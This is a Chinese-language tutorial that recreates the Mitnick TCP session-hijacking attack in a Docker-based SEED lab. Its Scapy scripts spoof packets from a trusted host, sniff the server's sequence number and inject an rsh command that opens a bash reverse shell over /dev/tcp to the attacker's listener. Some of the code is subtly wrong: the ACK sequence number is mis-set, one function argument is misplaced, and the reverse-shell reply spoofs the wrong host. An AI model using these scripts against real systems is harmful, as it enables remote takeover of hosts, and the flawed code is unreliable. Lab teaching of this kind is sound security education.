手把手复现经典Mitnick攻击:用Docker+Scapy模拟TCP会话劫持(附完整代码)

如果你对网络安全感兴趣,一定听说过凯文·米特尼克(Kevin Mitnick)这个名字。这位传奇黑客在1994年发起的攻击,不仅成为网络安全史上的经典案例,更直接暴露了TCP/IP协议设计中的一些根本性弱点。今天,我们不再只是阅读历史,而是要亲手重现这场攻击。

想象一下,你是一名网络安全研究员,需要理解攻击者如何利用两台计算机之间的信任关系,悄无声息地植入后门。或者,你是一名开发工程师,希望深入理解网络协议的安全边界,以便在设计系统时避免类似的陷阱。这篇文章就是为你准备的。

我们将使用Docker快速搭建一个隔离的实验环境,避免对真实系统造成任何影响。然后,借助Python的Scapy库,我们将从零开始编写攻击脚本,一步步模拟TCP会话劫持的完整过程。整个过程就像在实验室里解剖一个经典的网络攻击样本,你能清晰地看到每一个数据包是如何被伪造、发送,并最终达成攻击目标的。

不用担心,即使你是网络安全的新手,只要对Linux命令行和Python有基本的了解,就能跟上我们的节奏。我们会用生活化的比喻来解释晦涩的序列号预测原理,并提供详细的代码调试技巧,确保你能成功复现。准备好了吗?让我们开始这场穿越时空的“攻防演练”。

1. 实验环境搭建:用Docker构建你的专属“黑客沙盒”

在开始任何网络攻击实验之前,一个安全、隔离且可重复的环境是至关重要的。我们选择Docker,因为它能让我们在几秒钟内创建出完全独立的虚拟主机,实验结束后一键清理,不留任何痕迹。这比配置虚拟机要轻量、快速得多。

我们的实验网络将包含三台主机,它们模拟了当年米特尼克攻击中的关键角色:

  • X-Terminal (10.9.0.5): 这是我们的“目标服务器”。它运行着rsh(远程shell)服务,并信任来自特定主机的连接。
  • Trusted-Server (10.9.0.6): 这是被X-Terminal信任的“合法客户端”。在正常场景下,它无需密码即可登录X-Terminal。
  • Seed-Attacker (10.9.0.1): 这就是“我们”——攻击者所在的主机。我们将从这里发起攻击,监听网络流量,并伪造数据包。

注意: 所有IP地址和配置均基于SEED Labs的标准实验环境。如果你使用自定义网络,请相应调整。

1.1 一键启动实验环境

首先,确保你的系统已经安装了Docker和Docker Compose。我们将使用SEED项目提供的现成配置来搭建环境。

  1. 下载实验配置包。你可以从SEED Labs的官方网站找到“Mitnick Attack Lab”的实验文件(通常是一个Labsetup.zip)。解压后,进入目录。

  2. 使用Docker Compose启动所有容器。在解压后的目录中,通常会有docker-compose.yml文件。运行以下命令:

    docker-compose up -d
    

    这个命令会在后台拉取必要的镜像并启动三个容器。-d参数表示“分离模式”,让容器在后台运行。

  3. 验证容器状态。使用以下命令查看运行中的容器及其分配的IP地址:

    docker ps
    docker network inspect net-10.9.0 | grep -A 5 "Containers"
    

    你应该能看到三个容器正在运行,并且被分配到了我们预设的IP网段(10.9.0.0/24)。

1.2 配置目标服务器的信任关系

米特尼克攻击的核心在于利用“信任”。在这个实验中,X-Terminal(服务器)信任Trusted-Server(客户端)。这种信任通过古老的rsh协议实现,该协议依赖IP地址进行认证,非常不安全,但正适合我们演示。

我们需要在X-Terminal容器内进行配置:

  1. 进入X-Terminal容器。首先用docker ps找到X-Terminal容器的ID或名称,然后进入其shell:

    docker exec -it <x-terminal-container-id> /bin/bash
    
  2. 创建.rhosts文件。这个文件定义了哪些主机可以免密登录。我们以seed用户身份操作(实验环境默认用户):

    su seed
    cd ~
    touch .rhosts
    echo "10.9.0.6" > .rhosts
    chmod 644 .rhosts
    

    这行echo命令是关键:它告诉X-Terminal,来自IP地址10.9.0.6(即Trusted-Server)的连接是可信的。

  3. 验证信任关系(可选)。你可以从Trusted-Server容器尝试使用rshrlogin命令连接X-Terminal,看看是否无需密码。这能帮助你理解攻击发生前的正常状态。

至此,我们的“舞台”已经搭好。一个脆弱的信任关系建立了起来,接下来,攻击者就要登场,开始利用这个弱点。

2. 理解攻击核心:TCP的“握手”与“序列号猜谜”

要成功实施会话劫持,你必须先理解TCP协议是如何建立连接的。我把这个过程比作两个陌生人在嘈杂的派对上通过递纸条来约定一个秘密的计数游戏,以此确认彼此的身份并开始对话。

2.1 三次握手:一个简单的约定游戏

正常的TCP连接通过“三次握手”建立:

  1. 客户端发送SYN: “嗨,我是A,我的初始序号是X(比如100),我们能聊天吗?”
  2. 服务器回复SYN-ACK: “收到,A。我同意聊天。我的初始序号是Y(比如300),并且我期待你的下一条消息序号是X+1(101)。”
  3. 客户端发送ACK: “好的,我收到你的序号Y了。我期待你的下一条消息序号是Y+1(301)。我们可以开始了。”

这个过程中,序列号(Sequence Number)确认号(Acknowledgment Number) 是核心。它们确保了数据包的有序和可靠传输。服务器通过“我期待你的下一个序号是101”来验证对方确实是刚才发起连接的客户端。

2.2 米特尼克攻击的突破口:信任与盲注

攻击之所以可能,基于两个关键点:

  • 基于IP的信任: 像rsh这样的老式服务,只认IP地址。如果数据包的源IP是10.9.0.6(Trusted-Server),X-Terminal就认为它是可信的。
  • TCP序列号的可预测性(历史上): 在早期的操作系统中,TCP初始序列号的生成算法不够随机,攻击者可以通过观察一些数据包来预测下一个连接的序列号。这就是整个攻击的“猜谜”环节

攻击者的目标就是:在Trusted-Server离线(或无法响应)的情况下,冒充它的IP地址(10.9.0.6),并且猜中或计算出X-Terminal在握手过程中会使用的序列号,从而完成三次握手,建立一条伪造的“可信”连接。

为了简化实验,我们通常会在攻击前让Trusted-Server下线(模拟其被SYN洪水攻击打瘫),并确保目标服务器缓存了必要的ARP信息,这样它才知道“10.9.0.6”这个IP对应的MAC地址是谁(在我们的实验里,攻击者会通过ARP欺骗或预先的ping操作来达成这一点)。

下表概括了正常流程与攻击流程的对比:

步骤正常 rsh 连接流程米特尼克攻击流程
前提Trusted-Server (10.9.0.6) 在线,且被X-Terminal信任。攻击者使Trusted-Server下线,并准备冒充其IP。
握手1 (SYN)客户端(10.9.0.6)发送SYN包给服务器(10.9.0.5)。攻击者伪造源IP为10.9.0.6的SYN包发送给服务器。
握手2 (SYN-ACK)服务器回复SYN-ACK给真实的10.9.0.6,其中包含服务器初始序列号S_SEQ服务器回复SYN-ACK到伪造的IP(但网络中被攻击者嗅探到)。攻击者窃听到S_SEQ
握手3 (ACK)真实的10.9.0.6回复ACK,确认号为S_SEQ+1攻击者伪造ACK包,其中的确认号设置为窃听到的S_SEQ+1,完成握手。
结果建立合法TCP连接,执行rsh命令。建立伪造的TCP连接,攻击者获得在服务器上执行命令的权限。

理解了这张蓝图,我们就可以开始动手编写实现它的代码了。

3. 实战攻击脚本编写:用Scapy伪造数据包

我们将使用Python的Scapy库来手工打造每一个攻击数据包。Scapy是一个强大的交互式数据包处理工具,允许你构造、发送、嗅探和解析网络层数据包。把它想象成网络协议的“乐高积木”,你可以自由组合每一层。

3.1 准备工作:安装Scapy与网络接口确认

首先,在攻击者容器(Seed-Attacker)中,我们需要确保Scapy可用,并找到正确的网络接口。

  1. 进入攻击者容器

    docker exec -it <attacker-container-id> /bin/bash
    
  2. 安装Scapy(如果尚未安装)。在实验环境中通常已预装,但你可以确认或安装:

    pip3 install scapy
    
  3. 确定网络接口。在容器内使用ifconfigip addr show命令。在Docker的桥接网络环境中,接口名可能类似eth0,但为了嗅探,我们通常需要监听Docker创建的桥接接口(如br-开头)。在SEED实验环境中,常常会提供一个名为br-xxxxxx的接口。你可以通过尝试嗅探或查看Docker网络详情来找到它。这是后续嗅探操作的关键参数

3.2 攻击阶段一:发起SYN握手并嗅探回应

攻击的第一步是冒充Trusted-Server向X-Terminal的rsh服务端口(通常是514)发起连接请求。

创建一个名为step1_syn.py的文件:

#!/usr/bin/env python3
from scapy.all import *

# 目标服务器和伪装成的主机
target_ip = "10.9.0.5"      # X-Terminal
spoofed_ip = "10.9.0.6"     # Trusted-Server (我们冒充它)

# 构造IP层和TCP层
# 我们选择一个客户端端口(如1023),目标端口是rsh的514
ip_layer = IP(src=spoofed_ip, dst=target_ip)
tcp_layer = TCP(sport=1023, dport=514, flags="S", seq=1000) # Flags="S" 表示SYN包

# 组合并发送数据包
packet = ip_layer / tcp_layer
send(packet, verbose=False)
print(f"[+] 已发送伪造的SYN包:从 {spoofed_ip}:1023 到 {target_ip}:514")

运行这个脚本:sudo python3 step1_syn.py。由于我们伪造了源IP,需要root权限来发送原始套接字数据包。

发送SYN后,服务器会向10.9.0.6回复一个SYN-ACK包。我们需要嗅探到这个包,并从中提取服务器的初始序列号(我们称之为server_isn)。这是攻击成功的关键信息。

创建第二个脚本step2_sniff_synack.py,它将持续嗅探网络,等待目标的SYN-ACK包:

#!/usr/bin/env python3
from scapy.all import *

target_ip = "10.9.0.5"
spoofed_ip = "10.9.0.6"

def handle_packet(pkt):
    # 检查是否是目标IP发来的、且目标是伪造IP的TCP包,并且是SYN-ACK标志
    if pkt.haslayer(IP) and pkt.haslayer(TCP):
        if pkt[IP].src == target_ip and pkt[IP].dst == spoofed_ip and pkt[TCP].flags == "SA":
            server_seq = pkt[TCP].seq  # 服务器的初始序列号
            client_ack = pkt[TCP].ack  # 服务器期望我们(客户端)的下一个序列号(即我们SYN包的seq+1)

            print(f"[*] 嗅探到SYN-ACK包!")
            print(f"    服务器序列号 (ISN): {server_seq}")
            print(f"    服务器期望的客户端ACK号: {client_ack}")
            print(f"    服务器端口: {pkt[TCP].sport} -> 客户端端口: {pkt[TCP].dport}")

            # 这里我们可以触发第三步,发送ACK。为了模块化,我们先打印信息。
            # 实际攻击中,我们会在这里直接调用发送ACK的函数。
            return server_seq, client_ack
    return None

# 设置过滤器,只捕获TCP包,减少噪音
# 注意:你需要将‘br-c53b33f456fd‘替换为你的实际桥接接口名
sniff(iface="br-c53b33f456fd", filter="tcp", prn=handle_packet, store=0)

提示: 在实际攻击中,step1step2需要紧密配合。通常的做法是先运行step2的嗅探程序,让它进入等待状态,然后再运行step1发送SYN包。这样能确保SYN-ACK包一出现就被立刻捕获,避免超时重传。

3.3 攻击阶段二:完成握手并注入恶意命令

一旦我们从SYN-ACK包中拿到了服务器的序列号server_seq,我们就可以伪造第三个ACK包,完成三次握手。但米特尼克攻击的精妙之处在于,它不仅仅完成握手,还在第三次握手的ACK包中直接携带了rsh协议的数据,请求服务器执行一个反向shell命令。

创建step3_ack_and_inject.py,这个脚本应该集成到step2的嗅探回调函数中,或者单独运行并手动输入获取到的序列号。这里我们展示一个集成版本的思路:

#!/usr/bin/env python3
from scapy.all import *
import sys

def send_ack_and_command(target_ip, spoofed_ip, server_seq, sport=1023, dport=514):
    """
    发送ACK包完成握手,并在数据部分注入rsh命令。
    """
    # 构造ACK包
    ip = IP(src=spoofed_ip, dst=target_ip)
    tcp = TCP(sport=sport, dport=dport, flags="A", seq=server_seq + 1, ack=server_seq + 1)
    # 注意:这里的seq号需要是服务器期望的(即SYN-ACK包中的ack值)。
    # 我们上一步在handle_packet里打印的client_ack就是它。

    # 构造rsh协议数据。格式为:<端口>\x00<用户名>\x00<用户名>\x00<命令>\x00
    # 我们注入一个反向shell命令,让服务器连接到攻击者的9090端口。
    attacker_listen_ip = "10.9.0.1"
    attacker_listen_port = 9090
    command = f"/bin/bash -i > /dev/tcp/{attacker_listen_ip}/{attacker_listen_port} 0<&1 2>&1"
    rsh_data = f"{attacker_listen_port}\x00seed\x00seed\x00{command}\x00"

    # 组合数据包并发送
    packet = ip / tcp / rsh_data
    send(packet, verbose=False)
    print(f"[+] 已发送伪造的ACK包并注入反向shell命令。")
    print(f"[*] 请在攻击机({attacker_listen_ip})上运行: nc -nlvp {attacker_listen_port}")

if __name__ == "__main__":
    # 这里假设我们从命令行参数或上一步的嗅探中获得了server_seq
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <server_seq> <client_ack>")
        sys.exit(1)
    server_seq = int(sys.argv[1])
    client_ack = int(sys.argv[2])
    send_ack_and_command("10.9.0.5", "10.9.0.6", server_seq, client_ack)

3.4 攻击阶段三:处理服务器的反向连接

当X-Terminal收到我们伪造的rsh命令后,它会尝试执行。这个命令是让X-Terminal主动向攻击者(10.9.0.1)的9090端口发起一个bash反向连接。因此,服务器会主动向攻击者发送一个新的SYN包,试图建立第二个TCP连接(用于传输shell的输入输出)。

我们需要嗅探到这个SYN包,并立即回复一个SYN-ACK包,以建立这第二个连接。只有这样,反向shell才能完全建立。

创建step4_handle_reverse_shell.py

#!/usr/bin/env python3
from scapy.all import *

def spoof_reverse_syn(pkt):
    if pkt.haslayer(IP) and pkt.haslayer(TCP):
        # 检查是否是目标服务器(10.9.0.5)发起的、目标是攻击者监听端口(9090)的SYN包
        if pkt[IP].src == "10.9.0.5" and pkt[TCP].dport == 9090 and pkt[TCP].flags == "S":
            print(f"[*] 嗅探到反向shell的SYN包 from {pkt[IP].src}:{pkt[TCP].sport}")

            # 伪造ACK包回复。源IP伪装成10.9.0.6(因为服务器以为在和它通信),目标IP是服务器
            # 但注意:这个连接是服务器发起的,所以我们的角色是“客户端”,需要回复SYN-ACK。
            # 实际上,我们伪造的是10.9.0.6对服务器新连接的响应。
            ip = IP(src="10.9.0.6", dst="10.9.0.5")
            tcp = TCP(sport=9090, dport=pkt[TCP].sport, flags="SA", seq=2000, ack=pkt[TCP].seq + 1)
            # seq可以任意选一个,ack是服务器的seq+1

            reply_packet = ip / tcp
            send(reply_packet, verbose=False)
            print(f"[+] 已发送伪造的SYN-ACK包,建立反向shell连接。")

# 开始嗅探,等待反向shell的SYN包
print("[*] 正在监听反向shell连接请求(目标端口9090)...")
sniff(iface="br-c53b33f456fd", filter="tcp and dst port 9090", prn=spoof_reverse_syn, store=0)

完整的攻击流程串联

  1. 在终端1,运行 sudo python3 step2_sniff_synack.py (监听第一个SYN-ACK)。
  2. 在终端2,运行 sudo python3 step4_handle_reverse_shell.py (监听反向shell的SYN)。
  3. 在终端3,运行 sudo python3 step1_syn.py (发起攻击)。
  4. 观察终端1的输出,获得server_seqclient_ack
  5. 在终端4,运行 sudo python3 step3_ack_and_inject.py <server_seq> <client_ack>
  6. 在终端5,运行 nc -nlvp 9090 准备接收反向shell。
  7. 如果一切顺利,你将在终端5中看到来自X-Terminal的bash shell提示符。

4. 调试技巧与常见问题排查

复现这种复杂的网络攻击很少能一次成功。别灰心,遇到问题才是学习的最佳时机。下面是我在多次复现中总结的一些“避坑指南”。

4.1 关键问题与解决方案

  • 问题:嗅探不到任何数据包。

    • 检查网络接口: 这是最常见的问题。确保sniff()函数中的iface参数是正确的Docker桥接接口名,而不是eth0。在容器内运行ifconfig,寻找带有br-前缀且IP范围正确的接口。
    • 检查过滤器: 过滤器字符串filter="tcp"可能太宽泛,产生大量噪音。可以尝试更精确的过滤,如filter="host 10.9.0.5 and tcp"
    • 权限问题: 嗅探需要root权限,确保使用sudo运行Python脚本。
  • 问题:服务器不回复SYN-ACK,或一直重传SYN-ACK。

    • ARP缓存: 服务器需要知道“10.9.0.6”(我们冒充的IP)的MAC地址才能发送数据包。在攻击前,确保服务器上有该IP的ARP缓存。可以在攻击前从攻击机或信任主机ping一下服务器,或者进行ARP欺骗。
    • 信任服务器未下线: 如果真实的10.9.0.6还在线并回复了RST包,会干扰我们的攻击。确保Trusted-Server容器已停止 (docker stop <trusted-server-id>)。
    • 端口未开放/服务未运行: 确认X-Terminal上的rsh服务(端口514)确实在运行。可以在X-Terminal容器内使用netstat -tlnp检查。
  • 问题:拿到了反向shell,但输入命令没反应或立即断开。

    • 第二个连接未建立: 这通常是因为step4没有正确响应服务器发起的SYN包。检查step4的过滤器是否匹配,以及发送的SYN-ACK包序列号是否正确。
    • Shell交互问题: 反向shell有时需要正确的终端处理。在接收shell的nc命令中,可以尝试nc -nlvp 9090 -c /bin/bash(如果nc支持-c),或者在获得shell后手动设置终端:python3 -c 'import pty; pty.spawn("/bin/bash")'

4.2 使用Wireshark进行可视化调试

命令行工具tcpdump和图形化的Wireshark是网络调试的神器。你可以在攻击者主机或Docker宿主机上捕获流量,直观地看到每一个数据包。

  • 在宿主机上捕获Docker网络流量

    # 找到Docker桥接网络对应的接口
    sudo tcpdump -i br-xxxxxx -w mitnick.pcap
    

    然后使用Wireshark打开mitnick.pcap文件。你可以使用过滤器,例如 ip.addr == 10.9.0.5,来聚焦于我们实验相关的流量。

  • 在Wireshark中分析

    • 查看TCP流的完整性(右键数据包 -> 追踪流 -> TCP流)。
    • 检查序列号和确认号的变化是否符合预期。
    • 查看我们伪造的数据包的细节,确认源IP、标志位、负载数据是否正确。

通过仔细对比正常握手流程和我们伪造的握手流程,你能精准定位是哪个环节的数据包构造有误或时机不对。

亲手复现一次米特尼克攻击,带给你的远不止是几行Python代码。它是一次对网络协议脆弱性的深刻体检,让你直观地理解为什么“基于IP的信任”是危险的,以及为什么现代系统需要更复杂的认证机制(如SSL/TLS)和随机化的序列号生成算法。下次当你设计一个网络服务时,这段经历会提醒你,威胁可能就隐藏在那些看似理所当然的协议细节之中。

更多推荐